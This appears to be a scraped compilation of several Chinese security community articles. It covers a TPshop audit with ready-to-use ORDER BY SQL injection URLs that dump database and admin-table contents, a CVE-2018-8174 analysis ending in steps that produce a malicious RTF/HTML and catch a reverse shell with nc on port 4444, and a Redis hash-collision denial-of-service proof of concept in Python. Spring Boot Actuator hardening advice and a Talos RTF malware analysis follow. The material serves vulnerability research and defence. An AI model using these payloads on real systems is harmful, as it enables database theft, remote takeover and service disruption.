│ ├─tags.php 应用行为扩展定义文件
### 0x03 正文
#### 注入篇
漏洞1：前台sql注入 order by注入
文件地址：application/home/controller/Goods.php
URL地址：[http://xx.com/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/desc](https://link.jianshu.com?t=http://xx.com/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/desc)
问题函数：`goodsList()`
问题参数_1: `$sort = I('get.sort','goods_id');`// 排序
问题参数_2: `$sort_asc = I('get.sort_asc','asc');`// 排序
因为是order by 的注入所以要利用一些平时用不到的sql语句
爆当前库名：
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT database() ),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))
爆此mysql库的总数：
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 8138 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)
爆某个库的名称：
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 4362 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)
获取某个库表的总数：
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 8139 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x747073686f70322e302e36)),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)
获取某个库每个表的表名：
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 3572 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x747073686f70322e302e36) LIMIT 2,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)
获取某个表的字段总数：
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 1965 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x74705f61646d696e AND table_schema=0x747073686f70322e302e36),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)
获取某个表 某个字段名称：
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 3302 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(column_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x74705f61646d696e AND table_schema=0x747073686f70322e302e36 LIMIT 0,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)
获取某库某表某字段数据：
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 2857 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(admin_id AS CHAR),0x20)),1,451) FROM `tpshop2.0.6`.tp_admin ORDER BY admin_id LIMIT 0,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)
#### 漏洞2：前台sql注入 order by注入
文件地址：`application/home/controller/Goods.php`
URL地址：[http://xx.com/index.php/Home/Goods/search/q/a/sort/sales_sum](https://link.jianshu.com?t=http://xx.com/index.php/Home/Goods/search/q/a/sort/sales_sum)
问题函数：`search()`
问题参数_1: `$sort = I('get.sort','goods_id');`// 排序
问题参数_2: `$sort_asc = I('get.sort_asc','asc');`// 排序
#### 漏洞3：前台sql注入 order by注入
文件地址：`application\mobile\controller\Goods.php`
URL地址：[http://xx.com/index.php/Mobile/Goods/goodsList/id/1/sort_asc/desc](https://link.jianshu.com?t=http://xx.com/index.php/Mobile/Goods/goodsList/id/1/sort_asc/desc)
问题函数：`goodsList()`
问题参数_1: `$sort = I('get.sort','goods_id');`// 排序
问题参数_2: `$sort_asc = I('get.sort_asc','asc');` // 排序
#### 漏洞3：前台sql注入 order by注入
文件地址：`application\mobile\controller\Goods.php`
URL地址：[http://xx.com/index.php/Mobile/Goods/search/id/0/q/](https://link.jianshu.com?t=http://xx.com/index.php/Mobile/Goods/search/id/0/q/)小米/sort/shop_price
问题函数：`search()`
问题参数_1: `$sort = I('get.sort','goods_id');` // 排序
问题参数_2: `$sort_asc = I('get.sort_asc','asc');` // 排序
### 前后台getshell篇
#### 漏洞1：前台无限制getshell漏洞
文件地址：`application/home/controller/Test.php`
URL地址：[http://xx.com/index.php/Home/test/dlfile](https://link.jianshu.com?t=http://xx.com/index.php/Home/test/dlfile)
问题函数：`dlfile()`
#### 漏洞2：前台无限制getshell漏洞
文件地址：`application/home/controller/Uploadify.php`
URL地址：[http://xx.com/index.php/Home/Uploadify/preview](https://link.jianshu.com?t=http://xx.com/index.php/Home/Uploadify/preview)
问题函数：`preview()`
#### 漏洞3：后台有限制 命令注入 漏洞
文件地址：`application\admin\controller\Plugin.php`
URL地址：[http://xx.com/index.php/Admin/Plugin/add_shipping](https://link.jianshu.com?t=http://xx.com/index.php/Admin/Plugin/add_shipping)
问题函数：`add_shipping` | 社区文章 |
# VBScript引擎远程代码执行漏洞之CVE-2018-8174分析与利用（更新）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、漏洞简介
VBScript引擎处理内存中对象的方式中存在一个远程执行代码漏洞。该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式来破坏内存。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。如果当前用户使用管理用户权限登录，则成功利用此漏洞的攻击者可以控制受影响的系统。然后攻击者可以安装程序;
查看，更改或删除数据; 或创建具有完全用户权限的新帐户。
在基于Web的攻击情形中，攻击者能通过Internet
Explorer利用此漏洞的特定网站，然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft
Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。
2018年5月8日，微软发布了安全补丁，影响流行的大部分系统版本。
漏洞基本信息
---
漏洞ID | CVE-2018-8174
漏洞名称 | Microsoft VBScript引擎远程执行代码漏洞
漏洞类型 | 远程代码执行
威胁类型 | UAF
影响系统版本 | Windows 7 x86和x64版本、RT8.1、Server2008及R2/2012及R2/2016、8.1、10及服务器等版本
## 二、漏洞测试
系统环境 | Win7 32
---|---
IE | IE8
EXP | https://www.exploit-db.com/exploits/44741/
## 三、漏洞原理
由于样本混淆严重，部分代码见图1，这里采用简化POC进行分析，代码见图2。
图1 样本采用了严重混淆
图2 Crash Poc
Crash
Poc中定义两个数组array_a和array_b，并声明了一个类MyTest，且重载了析构函数Class_Terminate，UAF中创建MyTest的实例赋值给数组array_a
(1)，并通过Erase
array_a清空array_a中的元素，在析构array_a中的元素的时候会触发脚本中Class_Terminate的调用，在Class_Terminate中增加了一个array_b(0)对MyTest实例的引用（MyTest实例引用计数+1），再通过array_a
(1)= 1删除array_a (1)
对MyTest实例的引用（MyTest实例引用计数-1）来平衡引用计数，这时候MyTest实例会被释放，但是array_b(0)仍然保留了这个MyTest实例的引用，从而array_b(0)指向了被释放的MyTest实例的内存，最终在MyTestVuln中通过b(0)
= 0访问未分配内存触发漏洞。
当我们启用了页堆的IE浏览器运行这个PoC时，我们可以观察到OLEAUT32!VariantClear函数会发生崩溃：调用被释放的内存时出现访问冲突（Access
Violation）异常。
从堆信息中可以看到eax(0x14032fd0)在vbscript!VbsErase的调用栈中被释放了，vbscript!VbsErase即对应了脚本中的Erase，而eax正是被VBScriptClass::Release函数释放的VBScriptClass对象也就是脚本中的MyTest实例。VBScriptClass::Release的逻辑如下图：
VBScriptClass::Release中首先对VBScriptClass的引用计数-1（&VBScriptClass+0×4），如果引用计数=0则调用VBScriptClass::TerminateClass，调用VBScriptClass::TerminateClass时因为在脚本中重载了Class_Terminate函数，所以获得了一次脚本执行的机会，这里就可以在释放VBScriptClass的内存前将即将释放的VBScriptClass内存地址保存脚本控制的变量中(Set
array_b(0) =array_a(1))，并通过array_a (1) = 1平衡引用计数，最终释放内存。
Set array_a(1) = New MyTest时，VBScriptClass引用计数为2。
Erase array_a 返回后，MyTest指向的内存已释放，但array_b(0)仍指向这块被释放的内存，
形成了悬挂指针，见下图：
## 四、漏洞利用分析
UAF漏洞利用的关键是如何用这个悬挂指针来操作内存。该漏洞利用多次UAF来完成类型混淆，通过伪造精数组对象完成任意地址读写，最终通过构造对象后释放来获取代码执行，代码执行没有使用传统的ROP技术或GodMod技术，而是通过脚本布局Shellcode利用。
1) 伪造数组达到任意写目的
通过UAF制造2个类的mem成员指向的偏移相差0x0c字节，通过对2个对象mem成员读的写操作伪造一个0x7fffffff大小的数组。
伪造的数组大致情况是：一维数组，元素有7fffffff个，每个元素占用1字节，元素内存地址为0。所以该数组可访问的内存空间为0x00000000到0x7ffffffff*1。因此通过该数组可以任意地址读写。但是在lIlIIl在存放的时候，存放的类型是string类型，故只需要将该数据类型将会被修改为0x200C，即VT_VARIANT|VT_ARRAY，数组类型，即可达到目的。
2) 读取指定参数的内存数据
攻击代码中，主要使用上面的函数来读取参数所指定的内存地址的数据。利用思路是在VBS中数据类型为bstr类型，通过vb中lenb(bstr
xx)返回字符串地址前4个字节的内容（即bstr类型size域内容）的特性，获取指定内存读能力。
如上述代码所示，假如传进来的参数为addr（0x11223344），首先该数值加4，为0x11223348,然后设置variant类型为8（string类型）。然后调用len函数，发现是BSTR类型，vbscript会认为其向前4字节即0x11223344就是存放长度的地址内存。因此执行len函数，实际上就返回了制定参数内存地址的值。
3) 获取关键DLL基址
通过DOSmodeSearch获取。
通过泄露CScriptEntryPoint对象的虚函数表地址，该地址属于Vbscript.dll。
由于vbscript.dll导入了msvcrt.dll，因此通过遍历vbscript.dll导入表获取msvcrt.dll基地址,
msvcrt.dll又引入了kernelbase.dll、ntdll.dll，最后可以获取NtContinue、VirtualProtect函数地址。
4) 绕过DEP执行shellcode
a) 利用任意读写的手段修改某个VAR的type类型为0x4d,再赋值为0让虚拟机执行VAR::Clear函数，如下图显示。
b) 通过精心控制使代码执行ntdll!ZwContinue函数，第一次参数CONTEXT结构体也是攻击者精心构造的，见下图。
c) ZwContinue的第一个参数是指向CONTEXT结构体的指针，可计算出EIP和ESP在CONTEXT中的偏移。
d) 实际运行时CONTEXT中的Eip和Esp的值以及攻击者的方法，见下图。
攻击者将CONTEXT中的EIP设置为VirutalProtect,将ESP中的返回地址和VirtualProtect的第一个参数，都设置为shellcode的起始地址。当ZwContinue执行后直接跳到VirtualProtect第一条指令开始执行，
根据攻击者构造的参数将shellcode所在内存设置为可执行状态，当VirtualProtect返回时就会跳到shellcode执行。
最后调用WinExec弹出计算器。
## 五、MSF利用
环境准备
目标机
|
Win7以及安装具有该漏洞的office
---|---
攻击机
|
Kali linux
Msf组件
| <https://github.com/Sch01ar/CVE-2018-8174_EXP>
生成带有恶意 VBscript 的 html 页面和 word 文档
python CVE-2018-8174.py -u http://192.168.106.139/exploit.html -o msf.rtf -i 192.168.106.139 -p 4444
把 explot.html 复制到 /var/www/html目录，
把msf.rtf复制到 /root/.msf4/local目录。
开启 apache 服务
nc监听4444端口
在靶机的 IE 浏览器打开恶意 URL，或者打开 word 打开 msf.rtf
收到反弹shell
## 参考资料：
http://blogs.360.cn/post/cve-2018-8174-en.html
http://www.freebuf.com/vuls/172983.html
更多漏洞播报：[四维创智攻防实验室](http://www.4dogs.cn) | 社区文章 |
作者：[黑池白泽](https://www.seebug.org/accounts/profile/st_august)
### 概要信息：
1. 在Martin Bosslet 2012年的[ _这篇文章_](http://emboss.github.io/blog/2012/12/14/breaking-murmur-hash-flooding-dos-reloaded/)中，作者提到MurmurHash2算法被发现可以稳定构造碰撞函数，该哈希函数及其变形被CRuby, JRuby, Rubinius, Redis等开源组件使用。
2. 本文是基于Martin Bosslet的发现继续挖掘的结果，在此对Martin Bosslet表示感谢。
3. 原文中作者的碰撞函数是基于Ruby完成的，这里将发布该碰撞函数的Python版本。
4. 在Martin Bosslet的文章中对碰撞函数的构造原理未做足够透彻的解释，我将在稍后一段时间将分析构造原理的部分补充。
### 详细信息：
1. Redis使用MurmurHash2算法作为数据结构Hashtable的哈希算法。
2. 当Hashtable出现碰撞后，Redis选择将发生碰撞的项用链表相连，最新的项插在链表首。
3. Redis将Key和对应的Value以键值对的形式储存在一个Hashtable中。
4. Redis并未将用户传入的Key进行任何编码就直接使用。
5. 在2012年MurmurHash2算法被发现可以稳定构造碰撞函数。
6. 当将大量使用在Murmurhash2算法下产生相互碰撞的字符串作为Key的键值对插入Redis后，在访问这些键值对时Hashtable的行为将退化为链表。
### 验证：
测试平台： i3-3210，8G Ram, Redis3.2.6，位于虚拟机中（2 cores CPU， 2G Ram）
Redis3.2.6中使用的Murmurhash2函数：
unsigned int mmhash_32(const void *key, int len) {
/* 'm' and 'r' are mixing constants generated offline.
They're not really 'magic', they just happen to work well. */
const uint32_t m = 0x5bd1e995;
const int r = 24;
/* Initialize the hash to a 'random' value */
uint32_t h = 5381 ^ len;
/* Mix 4 bytes at a time into the hash */
const unsigned char *data = (const unsigned char *)key;
while(len >= 4) {
uint32_t k = *(uint32_t*)data;
k *= m;
k ^= k >> r;
k *= m;
h *= m;
h ^= k;
data += 4;
len -= 4;
}
/* Handle the last few bytes of the input array */
switch(len) {
case 3: h ^= data[2] << 16;
case 2: h ^= data[1] << 8;
case 1: h ^= data[0]; h *= m;
};
/* Do a few final mixes of the hash to ensure the last few
* bytes are well-incorporated. */
h ^= h >> 13;
h *= m;
h ^= h >> 15;
return (unsigned int)h;
}
poc_collision.py,用于验证碰撞函数（其中mmhash将Redis3.2.6的dictGenHashFunction封装以供Python调用，基于[
_mmhash_](https://pypi.python.org/pypi/mmhash) 魔改而来）：
# -*- coding:utf-8 -*-
import mmhash
from murmurhash2_collision import collision
from binascii import crc32
c_l = list(collision(5))
hashs = (mmhash.get_hash_32(c) for c in c_l)
crc32ed_collisions = (crc32(c) for c in c_l)
print "crc32ed collision" + "\t" + "MurmurHash2ed collision"
for pair in zip(crc32ed_collisions, hashs):
print "{0}\t{1}".format(*pair)
输出结果：
可见确实发生碰撞。
poc_redis.py，用以对比Redis3.2.6对同等数量恶意与非恶意数据的响应：
# -*- coding:utf-8 -*-
import redis
import os
import time
from murmurhash2_collision import collision
BLOCK = 17
connection = redis.Redis(host="192.168.107.102", password="123456")
func_set = connection.set
connection.flushall()
print "Insert 2**{0} normal key-value pairs.".format(BLOCK)
start = time.time()
first_key = os.urandom(8*BLOCK)
func_set(name=first_key, value="")
for i in xrange(0, 2**BLOCK-1):
func_set(os.urandom(8*BLOCK), value="")
end = time.time()
print "Insertion complete. It takes {1} seconds.".format(BLOCK, end - start)
print "Now get the first inserted key."
start = time.time()
connection.get(first_key)
end = time.time()
print "It takes {0} seconds.".format(end - start)
print "*"*32
print "Now flush all the data."
connection.flushall()
print "Now insert 2**{0} key-value pairs with collisional strings as keys.".format(BLOCK)
c = list(collision(BLOCK))
first_key = c[0]
func_set(name=first_key, value="")
start = time.time()
for ck in c:
func_set(name=ck, value="")
end = time.time()
print "Insertion complete. It takes {1} seconds.".format(BLOCK, end - start)
print "Now get the first inserted key."
start = time.time()
connection.get(first_key)
end = time.time()
print "It takes {0} seconds.".format(end - start)
插入普通随机数据时Redis服务器负载与插入恶意数据时服务器负载对比：
输出结果：
可见在输入大量恶意数据后Redis的响应速度有了明显下降（已排除生成碰撞字符串的时间）。
### 修复方法：
Redis
hashtable目前处理碰撞的方法是直接将发生碰撞的项用链表相连。建议碰撞发生时使用另一个不同的哈希函数进行rehash（比如time33），若与现有项再次发生碰撞，再使用链表将项相连。在我的认知范围内（也许不完全正确），针对两个不同的哈希算法稳定构造碰撞是困难的。
### 未完成工作
1. 未测试在更高并发下Redis的响应。
2. 对碰撞函数的构造原理进行深入分析。
3. 研究其他使用MurmurHash2算法的软件是否存在同样的漏洞。
### 反思与疑问
1. 现在我还无法准确判断判断该漏洞的威胁程度，一方面是受限于手上没有资源验证Redis在更高并发下的响应，另一方面该漏洞的触发必须满足客户端的输入要作为Key并且原封不动地插入Redis。
2. 这个漏洞的发现源于我阅读源代码是对MurmurHash2算法的搜索，在维基百科的参考链接中提到了Martin Bosslet的文章，同时文章明确指出Redis在使用该算法。是什么原因使这个（潜在的）DDos漏洞存在这么多年？
* * * | 社区文章 |
### SpringBoot应用监控Actuator使用的安全隐患
### 概述
微服务作为一项在云中部署应用和服务的新技术是当下比较热门话题，而微服务的特点决定了功能模块的部署是分布式的，运行在不同的机器上相互通过服务调用进行交互，业务流会经过多个微服务的处理和传递，在这种框架下，微服务的监控显得尤为重要。
而[Actuator](https://docs.spring.io/spring-boot/docs/current/reference/htmlsingle/#production-ready)正是Spring
Boot提供的对应用系统的监控和管理的集成功能，可以查看应用配置的详细信息，例如自动化配置信息、创建的Spring
beans信息、系统环境变量的配置信以及Web请求的详细信息等。如果使用不当或者一些不经意的疏忽，可能造成信息泄露等严重的安全隐患。
### Actuator使用
Actuator应用监控使用只需要添加spring-boot-starter-actuator依赖即可，如下：
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
可以在application.properties中指定actuator的访问路径，如指定路径为/monitor：
management.context-path=/monitor
此时，运行示例,访问/monitor/env即可查看系统环境变量的配置信息，之后再访问/monitor/trace即可查看所有Web请求的详细信息，包括请求方法、路径、时间戳以及请求和响应的头信息甚至cookie信息，如图:
Actuator监控分成两类：原生端点和用户自定义扩展端点，原生的主要有：
路径 | 描述
---|---
/autoconfig | 提供了一份自动配置报告，记录哪些自动配置条件通过了，哪些没通过
/beans | 描述应用程序上下文里全部的Bean，以及它们的关系
/env | 获取全部环境属性
/configprops | 描述配置属性(包含默认值)如何注入Bean
/dump | 获取线程活动的快照
/health | 报告应用程序的健康指标，这些值由HealthIndicator的实现类提供
/info | 获取应用程序的定制信息，这些信息由info打头的属性提供
/mappings | 描述全部的URI路径，以及它们和控制器(包含Actuator端点)的映射关系
/metrics | 报告各种应用程序度量信息，比如内存用量和HTTP请求计数
/shutdown | 关闭应用程序，要求endpoints.shutdown.enabled设置为true
/trace | 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)
### 安全措施
如果上述请求接口不做任何安全限制，安全隐患显而易见。实际上Spring Boot也提供了安全限制功能。比如要禁用/env接口，则可设置如下：
endpoints.env.enabled= false
如果只想打开一两个接口，那就先禁用全部接口，然后启用需要的接口：
endpoints.enabled = false
endpoints.metrics.enabled = true
另外也可以引入spring-boot-starter-security依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
在application.properties中指定actuator的端口以及开启security功能，配置访问权限验证，这时再访问actuator功能时就会弹出登录窗口，需要输入账号密码验证后才允许访问。
management.port=8099
management.security.enabled=true
security.user.name=admin
security.user.password=admin
### 安全建议
在使用Actuator时，不正确的使用或者一些不经意的疏忽，就会造成严重的信息泄露等安全隐患。在代码审计时如果是springboot项目并且遇到actuator依赖，则有必要对安全依赖及配置进行复查。也可作为一条规则添加到黑盒扫描器中进一步把控。
安全的做法是一定要引入security依赖，打开安全限制并进行身份验证。同时设置单独的Actuator管理端口并配置不对外网开放。
### 参考
* <http://www.csecgroup.com/blog/springboot_actuator_security_tips/>
* <https://docs.spring.io/spring-boot/docs/current/reference/htmlsingle/#production-ready> | 社区文章 |
# 分析基于RTF恶意文档的攻击活动
##### 译文声明
本文是翻译文章，文章来源：talosintelligence.com
原文地址：<https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
思科Talos团队最近发现了一款新的恶意软件，该软件会释放名为“Agent
Tesla”的信息窃取木马以及另一款恶意软件Loki（这也是款信息窃取木马）。最开始时Talos的感知系统检测到了一个高度可疑的文档，常见的反病毒解决方案并不会去采集该文档。然而，思科的恶意软件分析及威胁情报一体平台[Threat
Grid](https://www.cisco.com/c/en/us/products/security/threat-grid/index.html)成功将这个未知文件识别为恶意软件。该恶意软件的幕后黑手使用了著名的漏洞利用链，但针对性进行了修改，成功规避了反病毒解决方案。在本文中，我们将介绍攻击者做了哪些修改以规避检测软件，也会分析使用复杂软件跟踪这类攻击的重要性。如果攻击行为不被发现，Agent
Tesla就可以从许多重要软件（如Google Chrome、Mozilla Firefox、Microsoft
Outlook以及其他软件）中窃取用户的登录信息，也能让攻击者在被感染的系统上安装其他恶意软件。
## 二、技术细节
在大多数情况下，此次攻击活动的第一阶段与FormBook恶意软件攻击活动类似，大家可以参考我们今年早些时候对后者的一篇分析[文章](https://blog.talosintelligence.com/2018/06/my-little-formbook.html)。先前FormBook背后的攻击者使用了CVE-2017-0199（多个版本的Microsoft
Office中存在的远程代码执行漏洞）来下载某个恶意DOCX文件，并打开文件内的RTF文档。我们已经观察到此次攻击组织使用了CVE-2017-11882来传播Agent
Tesla以及Loki，其中某个恶意软件的传播URL地址如下图所示。除了Agent
Tesla以及Loki之外，攻击者还使用这个基础设施来传播其他恶意软件家族，如Gamarue，该恶意软件能够完全控制用户主机，也具备与典型的信息窃取后门相同的功能。
我们对FormBook的分析文章中包含该阶段的更多细节。许多用户潜意识中都会认为现在Microsoft
Word文档的危险性要比RTF或者DOC文档小。虽然这个观点有一定道理，但攻击者仍然可以找到新的方法，通过新的这些文档格式来利用各种漏洞。
图1. 第一阶段利用载荷
对于Agent
Tesla这款恶意软件，攻击者下载的文件为RTF文件，其SHA256哈希值为`cf193637626e85b34a7ccaed9e4459b75605af46cedc95325583b879990e0e61`。在分析过程中，VirusTotal多引擎反病毒扫描网站上对该样本的检测结果不容乐观，58个反病毒程序中只有两个能够发现可疑内容。而判断该样本可疑的反病毒程序只是警告用户该样本为格式错误的RTF文件。具体而言，AhnLab-V3将该样本标记为`RTF/Malform-A.Gen`，而Zoner将其标记为`RTFBadVersion`。
然而，思科的Threat Grid给出了不一样的结论，将其标记为恶意软件。
图2. ThreatGrid的行为指标（BI）
我们通过行为指标（BI）来给恶意行为打分，部分结果如图2所示。根据样本的进程树信息，可以发现该样本执行链的可疑程度非常高，部分结果如下图所示。
图3. ThreatGrid进程树信息
在图3中，我们可以看到`Winword.exe`进程启动，随后某个`svchost`进程执行微软公式编辑器（`EQNEDT32.exe`），后者启动了一个`scvhost.exe`。公式编辑器是Microsoft
Office的一个辅助工具，可以用来将数学公式嵌入到文档中。在Word中，我们可以使用OLE或者COM函数来启动公式编辑器，这就是我们在上图中看到的进程。公式编辑器应用启动其他可执行文件（如图3中的其他程序）是非常罕见的情况，何况被启动的程序文件名本身就非常可疑（`scvhost.exe`）。注意该文件名，用户可能将其与`svchost.exe`混淆起来。
根据Threat Grid的进程时间线信息，我们可以确认该文件的行为与典型的恶意软件行为一致。
图4. ThreatGrid进程时间线信息
在图4中，我们可以看到公式编辑器首先下载了一个`xyz[1].123`文件，然后创建`scvhost.exe`进程（上图红框1和2），后者会在稍后创建自身的另一个实例`svchost.exe(26)`（蓝框处）。此时，我们已经确认这是一款恶意软件，现在的问题是，为什么反病毒系统无法检测该样本？攻击者通过什么方法能够隐蔽恶意特征？
### 恶意RTF文件
[RTF标准](https://en.wikipedia.org/wiki/Rich_Text_Format)是微软开发的专有文档文件格式，用于跨平台文档交换。举个例子，一个简单的RTF文件如图5所示，由文本以及控制字（control
word，字符串）所组成。下图上半部分为源代码，下半部分为文件在Microsoft Word中的呈现效果。
图5. 简单的RTF文档
RTF文件并不支持任何宏语言，但可以通过`\object`控制字支持Microsoft Object Linking and
Embedding（OLE）对象以及Macintosh Edition
Manager订阅者对象。举个例子，用户可以将由微软公式编辑器创建的数学公式嵌入到RTF文档中，该公式将会以十六进制数据流的形式存储在对象的数据中。如果用户使用Word打开该RTF文件，Word就会通过OLE函数将对象数据交给公式编辑器应用去处理，然后返回Word能够正确显示的数据结果。换句话说，即便Word无法通过外部应用来处理该文档，也会将公式以文档嵌入公式的形式呈现给用户。以上基本上就是`3027748749.rtf`的大致原理，这里唯一的区别在于，该文档增加了许多混淆，如图6所示。RTF标准的主要缺点在于使用了非常多的控制字，而常规的RTF解析器会忽视掉它们无法识别的内容。因此，攻击者有各种选项来混淆RTF文件的内容。
图6. 3027748749.rtf
虽然RTF文件经过大量混淆，我们还是使用`rtfdump`以及`rtfobj`工具成功验证了文档结构，提取出实际的对象数据载荷。该文件尝试启动Microsoft公式编辑器（类名：`EQuATioN.3`），如图8所示。
图7. rtfdump
图8. rtfobj
在图6中，我们可以看到攻击者使用了`\objupdate`技巧，这可以[强制](http://latex2rtf.sourceforge.net/rtfspec_7.html)嵌入对象在显示前就进行更新。换句话说，用户不需要点击该对象就能完成对象加载，这对“普通”对象来说问题不大，但通过强制打开文件的方式，恶意软件就可以开启攻击过程。
我们来看一下上图中的`objdata`数据，将其转化为十六进制表示的数据流。如果想了解更多头部标志含义，可以参考[官方链接](https://msdn.microsoft.com/en-us/library/dd942076.aspx)。
图9. 头部数据
我们可以找到与之前FormBook分析文章中类似的[MTEF头部数据](http://rtf2latex2e.sourceforge.net/MTEF3.html)，为了避免检测，攻击者修改了头部中的值。唯一的区别在于，除了MTEF版本号字段以外，攻击者往其他头部字段中填充了随机值。MTEF版本号字段的值需设置为2或者3，才能让漏洞利用成功。
图10. MTEF V2头部
紧跟在MTEF头部后的是1个2字节的未知MTEF字节流标记（`F1 01`）以及字体标记（`08 E0 7B ...`）。字体标记后的数据（`B9 C3
...`）看起来并不是正常的字体名称，所以这是一个非常明显的特征，表明我们面临的是一个漏洞利用样本。这段数据的确与我们之前研究的样本非常不同，但我们可以先解码出其中内容。
图11. Shellcode表明这是一次新的攻击活动
解码后的数据与我们之前看到的非常类似，之前我们碰到的shellcode如图12所示：
图12. 之前攻击活动中使用的Shellcode
攻击者修改了寄存器以及其他一些小地方。此时我们已经非常确认攻击者使用了CVE-2017-11882漏洞，但还是让我们进一步确认这一点。
### 利用PyREBox引擎分析
为了验证恶意RTF文件利用的是CVE-2017-11882，我们使用了Talos开发的动态分析引擎PyREBox。这个工具可以帮助我们检测整个系统的执行情况，监控各种不同的事件，比如指令执行、内存读写、操作系统事件，也能提供交互式分析功能，让我们随时检查模拟系统的状态。如果大家想了解该工具的更多细节，可以参考我们在Hack
in the Box 2018会议上[展示](https://github.com/Cisco-Talos/pyrebox/tree/master/docs/pyrebox_hitb_ams.pdf)的[恶意软件监控脚本](https://github.com/Cisco-Talos/pyrebox/tree/master/mw_monitor)。
在本文分析中，我们使用了shadow
stack插件，该插件于今年早些时候在[EuskalHack](https://securitycongress.euskalhack.org/)
Security Congress III上与其他漏洞利用分析脚本（shellcode检测和stack
pivot检测）一同发布（[演示文稿](https://github.com/Cisco-Talos/pyrebox/tree/master/docs/pyrebox_euskalhack.pdf)）。这个脚本可以监控指定进程（这里为公式编辑器进程）上下文中执行的所有调用以及RET指令，同时维护一个shadow
stack，用来跟踪所有有效的返回地址（已执行的调用指令后的地址）。
我们要做的唯一一件事就是配置插件来监控公式编辑器进程（插件会等待该进程执行），然后在模拟的环境中打开RTF文档即可。只要RET指令跳转到早于call指令的某个地址，PyREBox会停止系统执行。栈溢出漏洞利用会覆盖存在栈上的返回地址，这种方法可以让我们检测这类漏洞利用过程。一旦执行停止，PyREBox会生成一个交互式IPython
shell，让我们检查系统，调试或者跟踪公式编辑器进程的执行状态。
图13. 检测跳转到无效地址0x44fd22时PyREBox停止执行
PyREBox会在`0x00411874`返回地址处停止执行，该地址属于CVE-2017-11882中提到的存在漏洞的函数。在这个案例中，恶意软件攻击者决定利用这个漏洞来覆盖返回地址，目标地址为公式编辑器主执行模块中包含的一个地址：`0x0044fd22`。如果我们检查这个地址（参考图13），可以发现它指向的是另一个RET指令，该指令将从栈中pop出另一个地址，然后跳转到该地址。shadow
stack插件可以再次检测到这种情况，在下一次漏洞利用时停止执行流程。
图14. 第一阶段shellcode
第一阶段的shellcode如图14所示，这段代码会在第二个RET指令后执行。这段shellcode会调用`GlobalLock`函数（`0x18f36e`），然后跳转到包含第二阶段shellcode的第二个缓冲区。
图15. 开始执行第二阶段shellcode
第二阶段shellcode由一系列`jmp`/`call`指令集合以及一个解密循环所组成。
图16. 第二阶段shellcode的解密循环
解密循环会解开shellcode的最终载荷，最后跳转到解码后的缓冲区。我们可以使用PyREBox在执行过程中导出包含shellcode的内存缓冲区。有多种方法可以完成这个任务，其中一种选择就是使用volatility框架（可以通过PyREBox
shell来使用该工具）来列出进程中的VAD区域，导出可能包含目标代码的缓冲区。导出的缓冲区可以导入IDA Pro以便进一步深入分析。
图17. 第二阶段载荷（最后一阶段shellcode）解密后的缓冲区
